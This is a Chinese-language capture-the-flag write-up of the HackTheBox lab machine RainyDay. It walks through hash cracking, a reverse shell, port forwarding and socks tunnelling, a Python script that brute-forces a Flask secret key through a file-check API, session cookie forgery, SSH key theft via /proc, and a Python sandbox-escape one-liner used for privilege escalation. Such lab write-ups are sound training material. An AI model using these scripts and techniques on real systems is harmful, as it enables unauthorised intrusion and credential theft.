HTB靶机:RainyDay
目錄
- 介紹
- 主機信息探測
- 網站探測
- 子域名爆破(BurpSuite)
- 目錄爆破
- 爆破參數值
- 分析 & 破解hash
- 登錄系統
 
- 反彈shell
- 端口轉發
- 內網穿透【很坑】
- 配置socks代理
- 內網掃描
- 換用windows做內網滲透
- 子域名信息收集
- 爆破密鑰位置
- 爆破密鑰內容
- JWT攻擊
- 進程監控
- Flag1 & 獲取SSH私鑰
 
- 提權
- python沙盒逃逸 & 提權為jack_adm
- 破解hash
 
- 參考
介紹
系統:linux
 難度:困難
 發布日期:2022/10/16
 靶機地址:https://www.hackthebox.com/machines/rainyday
 其他信息:2022年10月24日靶場刪除了泄露的root的 SSH 密鑰,并更改了泄露的root密碼。個人打靶發現靶機還刪除了python,其他變化尚未發現。
 補充:這臺靶機與Vulnhub靶機BOREDHACKERBLOG: SOCIAL NETWORK較為相似,只是利用起來更復雜很多。
 
主機信息探測
nmap -v -p- --min-rate 3000 -sV 10.10.11.184 nmap 10.10.11.184 -p22,80 -A網站探測
開局就是一個訪問不到
 
配置了hosts之后可以訪問了,能夠看到我的賬號頁面,點開之后爆破無果,嘗試注冊賬號登錄失敗。
 
子域名爆破(BurpSuite)
面對需要綁hosts的靶機,需要做子域名爆破,看看kali上有哪些字典
locate dns | grep "/usr/share" | grep ".txt"這里演示一下如何使用BurpSuite做子域名爆破:
爆破結果中基本都是302跳轉到 http://rainycloud.htb,唯獨一個爆破結果是403,簡單測試后無法ByPass403,先綁定到hosts中吧,看后面是否會用得到。
 
目錄爆破
dirsearch -u http://rainycloud.htb/ --full-url -R 2 -x 404 --exclude-sizes=0B看到了一個有點意思的頁面,但是嘗試輸入一個id后并沒有出現什么有價值的信息,碰到這種情況也許是id的格式不對,不妨通過bp爆破一把梭。
 
爆破參數值
嘗試使用不同的參數格式,如1、1.0、1-1,如何設置這種格式呢?如下:
結果發現編碼導致了404錯誤
 
取消勾選即可
 
然后就發現了id參數的設置格式
 
得到了如下信息:
"id":2, "password":"$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W", "username":"root""id":1, "password":"$2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O", "username":"jack""id":3, "password":"$2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG", "username":"gary"分析 & 破解hash
來到網站:https://www.cmd5.com/,一個都沒有破解出來。來到hashcat網站看看:
 打開 hashcat 點擊 Wiki
 
點開exam,發現 Hash-Mode 3200的類型符合爆破得到的hash樣子
 
開始爆破:hashcat.exe -m 3200 C:\Users\asuka\Desktop\1.txt D:\字典\rockyou.txt
 很快就爆破出來,id為3的用戶gary的密碼是:rubberducky
 
登錄系統
登錄之后如下,看樣子可以創建一個docker容器并執行命令
 
下拉框有2個選擇,測試發現第1個不行,點擊之后沒有有價值的反應。這里選擇下拉框的第2個
 
經過多次嘗試,發現通過如下2種格式可以成功執行命令,下面測試發現第一種執行方式有點問題,需要換成第二種才行。
 
反彈shell
檢查發現靶機存在nc,并且支持-e參數。但是反彈shell時候除了一些幺蛾子。
 
難不成,要換成另一種命令執行的格式?果然,換成另一種格式好了。
 
現在已經可以反彈shell了,于是就出現了一個問題。
 我是使用物理機win11通過openVPN直接連接的靶機,我該如何讓我的NAT模式虛擬機kali拿到shell呢?可以通過端口轉發來解決。
端口轉發
netsh是windows系統自帶的一個命令行工具,這個工具可以內置端口轉發功能。由于物理機都是有防火墻的,因此使用端口轉發前需要先在本地測試一下能不能實現端口轉發。
以管理員身份運行cmd,執行如下命令,一旦有人訪問了物理機的4444端口,就轉發給kali的4444端口。
添加端口轉發的命令 netsh interface portproxy add v4tov4 listenport=4444 connectaddress=192.168.229.128 connectport=4444查看端口轉發的記錄表 netsh interface portproxy show all清除指定規則 netsh interface portproxy delete v4tov4 listenport=4444清除所有規則 netsh interface portproxy reset如下圖,連接openVPN后,物理機得到一個IP:10.10.14.9,然后kali在4444端口開啟一個web服務。物理機訪問本地的4444端口果然看到了kali的web服務。說明端口轉發沒問題。
 
**測試發現,如果只是用于本地虛擬機和物理機之間的端口轉發,可以不設置防火墻,像這種HTB靶機的話,需要設置防火墻才可以。**我這里新建了如下規則,允許3個端口可以做轉發。
 
然后bp發送數據包,kali獲取到shell
 
發現靶機上不存在python,因此只能通過sh獲取一個簡陋的交互環境,由于靶機一開始就說了自己是個docker環境,并且我們發現看到的IP和靶機IP不同,基本確認身處docker環境中。
 
簡單的看了下內網,沒法做主機發現,從arp中發現了一個主機,還是內網穿透吧,穿透之后再做內網。
 
內網穿透【很坑】
這里忘了寫工具是怎么投遞的了,下文“內網掃描”中會補寫
這里嘗試了很多款內網穿透工具,甚至關閉了物理機的防火墻,始終無法讓kali與靶機之間建立隧道。最終放棄。第二天,也就是現在,重新捋了一遍思路:
 首先恢復防火墻,重新做一遍端口轉發
 
- show顯示網絡拓撲
A表示admin節點,數字表示agent節點。下面的拓撲圖表示,admin節點下連接了1節點
- goto操作某節點
- socks建立到某節點的socks5代理
執行成功socks命令之后,會在admin節點本地開啟一個端口,如下圖中通過1080端口即可進行socks5代理
 
配置socks代理
配置proxychains4.conf(較新版本的kali已經沒有proxychains.conf了,取而代之的是proxychains4.conf)
ls -lh /etc | grep proxy vim /etc/proxychains4.conf tail -5 /etc/proxychains4.conf內網掃描
懶得一個一個掃了,直接fsan一把梭
由于已經做了端口轉發,因此訪問物理機的6666端口,就會訪問到kali6666端口的web服務。結果尷尬了,fscan掃不動,沒結果。
 
那就只能老實的通過socks代理掃描了,在做“端口轉發”的時候,通過arp得知docker網絡中有個IP是172.18.0.1,猜測這個應該是宿主機的IP,先掃一波。這種掃描掃描的端口多,很費時間,目前能看到22、80端口,以及一個49153端口,不知道是什么鬼。想要一探究竟,還是得瀏覽器掛代理訪問一下。
proxychains4 nmap -Pn -sT 172.18.0.1從目前得到的來看,不出意外的話,應該是通過socks代理訪問之前發現的子域名,通過它來實現docker逃逸,但是kali里面的字體比較小,截圖不好看,并且不知道什么原因,kali里面的瀏覽器無法完整的渲染子域名,因此下面我直接使用自己的物理機來做內網滲透,部分情況下可能會使用虛擬機來做。
換用windows做內網滲透
子域名信息收集
登錄了之前爆破出來的子域名,這個時候再來看一下之前目錄爆破的結果,竟然有了新的發現,這個時候注意到cookie是JWT格式的,但是請求包上面沒有JWT按鈕,看起來“JWT Editor Keys”插件不能正常編輯這個JWT數據,丟到 jwt.io 看一眼,發現這個JWT是簽名無效。
 那么,接下來怎么搞?沒辦法,翻看了下攻略,只能說,攻略也是晦澀的。能看出來大概意思是通過/api/healthcheck頁面找到密鑰來篡改JWT。那么,怎么找密鑰?
 
攻略的操作很神奇,如下所示,可以看到:
攻略十分自信密鑰中會包含SECRET_KEY,并且密鑰存在于/var/www/rainycloud路徑下。對于這種開掛行為,暫且看他就算開掛又是怎么打穿靶場的吧。
 
爆破密鑰位置
最終在“/var/www/rainycloud/secrets.py”中發現了密鑰位置,爆破結果為true
POST /api/healthcheck HTTP/1.1 Host: dev.rainycloud.htb Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: session=eyJ1c2VybmFtZSI6ImdhcnkifQ.Y4G3sA.DfpGzMmf7s6XdCNpHG5vD-PWDTw Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 70file=/var/www/rainycloud/secrets.py&type=CUSTOM&pattern=^SECRET_KEY.*'爆破密鑰內容
需要布爾爆破密鑰內容,相關的腳本攻略里提供了。但是在此之前我們需要驗證自己能否連接上靶場。
 通過bp插件“Copy As Python-Requests”很方便得到了一段python代碼,略微修改一下:
 
發現需要給python掛上代理,我這里圖省事就不掛socks代理了,直接把python掛到bp上,發現代碼能夠正常跑起來,那就開始改造攻略里的腳本
 
改造后的腳本如下:
import string import requests import jsonallchars = string.printable cookies = {'session': 'eyJ1c2VybmFtZSI6ImdhcnkifQ.Y4G3sA.DfpGzMmf7s6XdCNpHG5vD-PWDTw'} # 填寫自己的cookie信息 proxy = {"http": "http://127.0.0.1:8089"} # bp 監聽端口臨時改成了8089s = requests.Session() pattern = ""while True:for c in allchars:try:rsp = s.post('http://dev.rainycloud.htb/api/healthcheck', {'file': '/var/www/rainycloud/secrets.py','type': 'custom','pattern': "^SECRET_KEY = '" + pattern + c + ".*"}, cookies=cookies, proxies=proxy)if json.loads(rsp.content)['result']:pattern += cprint('[√]:'+str(pattern))breakelse:print('[×]:'+str(c))except Exception:print(rsp.content)開始爆破,結果爆破一段時間后報錯了,一檢查竟然是隧道斷開了。重新爆破,結果又是到這個爆破結果的時候斷開了,看來是靶場自身的問題,只能把獲取到的部分密鑰值填入到腳本中,讓腳本在爆破了。
 
拼接之后重新爆破,發現爆破出某段內容之后,再無新的爆破結果了,說明已經爆破完畢。
 
最終得到密鑰:略(靶場在役,暫不公開)
JWT攻擊
拿著密鑰來到 https://jwt.io 發現根本沒法篡改身份,那怎么辦?
 根據攻略,可以使用工具flask-session-cookie-manager 來做越權。已知的JWT攻擊方式在BurpSuite網絡安全學院里面都記錄的有,靶場里的這種攻擊方式我是第一次碰到。
 
當初網站探測的時候知道靶場上有三個用戶:root、jack、gary
 嘗試越權root用戶
得到cookie值:eyJ1c2VybmFtZSI6InJvb3QifQ.Y4H99A.ipx-A7fgdksnTVNLj9so7YLRWO0
 篡改瀏覽器的cookie,刷新之后發現啥也沒有,合著這個root賬戶沒有用。
 
嘗試越權jack用戶
 得到cookie值:略
 
于是,又是命令執行得到了一個shell,看起來是docker網絡里的另一臺機器
 
那么,接下來怎么辦呢?完全沒有方向了。查看攻略發現了pspy
進程監控
工具pspy在之前的靶機CEREAL: 1中介紹過,它讓我們可以在沒有特權的情況下看到linux系統上的所有進程。到這種時候了,能想到這個工具,還能打穿靶機,我不知道該說什么了,它不像web滲透是尋著線索打,現在的打法很亂。甚至可以稱之為玄學,因此下面不再追究思路的合理性了。
 pspy64投遞到靶機上面,后臺運行,看到了一個關于休眠的進程。
 
進入這個休眠進程中,發現了一個有意思的目錄:
cd /proc/1120 ls -al然后就發現,通過cd root進入到了靶機里面了。
 
Flag1 & 獲取SSH私鑰
得到了一個flag:略
 
然后獲取SSH私鑰,但是物理機沒能使用私鑰登錄靶場
 
私鑰丟到kali上面,連接靶場失敗。
 
這個時候有2個辦法:
我這里選擇第2中辦法,比較便捷:
 首先讀取到ssh私鑰內容
 
粘貼私鑰到kali中,成功登上靶機
vim id_rsa chmod 400 ./id_rsa ssh jack@10.10.11.184 -i ./id_rsa提權
用戶jack似乎可以提權為jack_adm,但是不知道該怎么提權。
 
python沙盒逃逸 & 提權為jack_adm
我本想扔一個提權腳本,意外發現靶機的/tmp目錄下有個名為aa的文件,文件內容閱讀不懂,通過攻略中的參考文檔得知這是python沙河逃逸,我對這塊并不了解,因此直接使用攻略中的利用代碼完成提權。
echo 'print(().__class__.__mro__[1].__subclasses__()[144].__init__.__globals__["__builtins__"]["__loader__"]().load_module("builtins").__import__("os").system("bash -i"))' > /tmp/test && sudo -u jack_adm /usr/bin/safe_python /tmp/test破解hash
看起來,jack_adm賬戶可以通過sudo提權,但是這個提權涉及到了hash,再次涉及到知識盲區。攻略中提到的把密碼設為空得到hash值,然后跑出鹽值的方法已經失效,具體該怎么整沒啥思路。只能放棄了。
 
參考
https://meowmeowattack.wordpress.com/2022/10/18/hackthebox-htb-writeup-rainyday/(文中提到的攻略)
總結
以上是生活随笔為你收集整理的HTB靶机:RainyDay的全部內容,希望文章能夠幫你解決所遇到的問題。
 
                            
                        - 上一篇: 调用个人微信API接口协议实现群发好友,
- 下一篇: java 里大于且小于_java-浮点数
